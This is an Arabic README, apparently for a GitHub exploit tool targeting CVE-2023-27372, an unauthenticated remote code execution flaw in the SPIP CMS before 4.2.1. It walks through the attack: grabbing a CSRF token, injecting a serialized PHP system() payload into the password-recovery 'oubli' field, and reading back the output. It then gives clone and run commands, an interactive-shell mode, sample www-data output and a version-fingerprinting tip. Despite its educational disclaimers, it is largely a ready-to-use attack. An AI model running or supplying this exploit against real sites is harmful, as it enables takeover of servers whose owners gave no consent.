
استغلال ثغرة CVE-2023-27372 مع شل تفاعلية
استغلال لثغرة CVE-2023-27372، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في نظام إدارة المحتوى SPIP تؤثر على الإصدارات السابقة لـ 4.2.1.
⚠️ لأغراض تعليمية فقط. استخدمها حصرًا على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به غير قانوني.
SPIP هو نظام إدارة محتوى مفتوح المصدر يُستخدم على نطاق واسع في النشر على الويب. توجد هذه الثغرة في نموذج استعادة كلمة المرور (/spip.php?page=spip_pass)، حيث تتم معالجة المعامل oubli دون تعقيم مناسب، مما يسمح للمهاجم بحقن وتنفيذ كود PHP عشوائي على الخادم — دون الحاجة إلى مصادقة.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2023-27372 |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| الإصدارات المتأثرة | SPIP < 4.2.1 |
| نوع الثغرة | حقن كود / تنفيذ أوامر عن بُعد غير مصادق عليه |
جلب رمز CSRF — يتم إرسال طلب GET إلى /spip.php?page=spip_pass لاستخراج رمز formulaire_action_args من نموذج HTML.
بناء الحمولة — يتم إنشاء سلسلة PHP متسلسلة تحتوي على الأمر المراد تنفيذه:
s:N:"<?php system('COMMAND'); ?>";
حيث N هو الطول الدقيق بالبايت للسلسلة PHP الداخلية.
إرسال الحمولة — يتم إرسال طلب POST مع الحمولة المصممة في حقل oubli إلى جانب رمز CSRF. يقوم SPIP بمعالجة هذا الحقل دون تعقيم وينفذ كود PHP المحقون.
استخراج المخرجات — يتم إرجاع مخرجات الأمر داخل استجابة HTML ويتم تحليلها من سمة value لحقل الإدخال oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| الوسيط | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لمثيل SPIP المستهدف |
-c, --command | أمر نظام التشغيل المراد تنفيذه على الهدف |
-s, --shell | شيل تفاعلي |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
المخرجات المتوقعة:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
للتحقق من إصدار SPIP لهدف، ابحث عن وسم meta generator في HTML:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ إخلاء مسؤولية
يُرجى استخدام المعلومات والاستغلالات المقدمة في مستودعاتي للأغراض التعليمية والإفصاح المسؤول فقط. لست مسؤولاً عن أي استخدام خاطئ أو ضرر ناتج عن استخدام هذه الأدوات أو البرامج النصية أو الاستغلالات.